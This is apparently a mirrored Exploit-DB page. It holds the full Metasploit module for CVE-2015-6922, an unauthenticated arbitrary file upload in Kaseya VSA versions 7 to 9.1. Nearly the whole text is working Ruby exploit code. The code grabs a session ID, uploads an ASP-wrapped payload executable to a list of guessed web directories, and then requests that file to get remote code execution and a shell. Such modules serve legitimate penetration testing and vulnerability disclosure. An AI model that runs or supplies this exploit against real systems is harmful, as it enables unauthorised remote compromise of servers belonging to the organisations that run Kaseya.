Kaseya Virtual System Administrator (VSA) – ‘uploader.aspx’ Arbitrary File Upload (Metasploit)

  • 作者: Metasploit
    日期: 2015-10-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38401/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload',
    'Description' => %q{
    This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions
    between 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary
    directory leading to arbitrary code execution with IUSR privileges. This module has been
    tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.
    },
    'Author' =>
    [
    'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
    ],
    'License' => MSF_LICENSE,
    'References' =>
    [
    ['CVE', '2015-6922'],
    ['ZDI', '15-449'],
    ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
    ['URL', 'http://seclists.org/bugtraq/2015/Sep/132']
    ],
    'Platform' => 'win',
    'Arch' => ARCH_X86,
    'Privileged' => false,
    'Targets' =>
    [
    [ 'Kaseya VSA v7 to v9.1', {} ]
    ],
    'DefaultTarget' => 0,
    'DisclosureDate' => 'Sep 23 2015'))
    end
    
    
    def check
    res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri('ConfigTab','uploader.aspx')
    })
    
    if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
    return Exploit::CheckCode::Detected
    else
    return Exploit::CheckCode::Unknown
    end
    end
    
    
    def upload_file(payload, path, filename, session_id)
    print_status("#{peer} - Uploading payload to #{path}...")
    
    res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri('ConfigTab', 'uploader.aspx'),
    'vars_get' => {
    'PathData' => path,
    'qqfile' => filename
    },
    'data' => payload,
    'ctype' => 'application/octet-stream',
    'cookie' => 'sessionId=' + session_id
    })
    
    if res && res.code == 200 && res.body && res.body.to_s.include?('"success": "true"')
    return true
    else
    return false
    end
    end
    
    
    def exploit
    res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri('ConfigTab','uploader.aspx')
    })
    
    if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
    session_id = $1
    else
    fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session")
    end
    
    asp_name = "#{rand_text_alpha_lower(8)}.asp"
    exe = generate_payload_exe
    payload = Msf::Util::EXE.to_exe_asp(exe).to_s
    
    paths = [
    # We have to guess the path, so just try the most common directories
    'C:\\Kaseya\\WebPages\\',
    'C:\\Program Files\\Kaseya\\WebPages\\',
    'C:\\Program Files (x86)\\Kaseya\\WebPages\\',
    'D:\\Kaseya\\WebPages\\',
    'D:\\Program Files\\Kaseya\\WebPages\\',
    'D:\\Program Files (x86)\\Kaseya\\WebPages\\',
    'E:\\Kaseya\\WebPages\\',
    'E:\\Program Files\\Kaseya\\WebPages\\',
    'E:\\Program Files (x86)\\Kaseya\\WebPages\\',
    ]
    
    paths.each do |path|
    if upload_file(payload, path, asp_name, session_id)
    register_files_for_cleanup(path + asp_name)
    print_status("#{peer} - Executing payload #{asp_name}")
    
    send_request_cgi({
    'uri' => normalize_uri(asp_name),
    'method' => 'GET'
    })
    
    # Failure. The request timed out or the server went away.
    break if res.nil?
    # Success! Triggered the payload, should have a shell incoming
    break if res.code == 200
    end
    end
    
    end
    end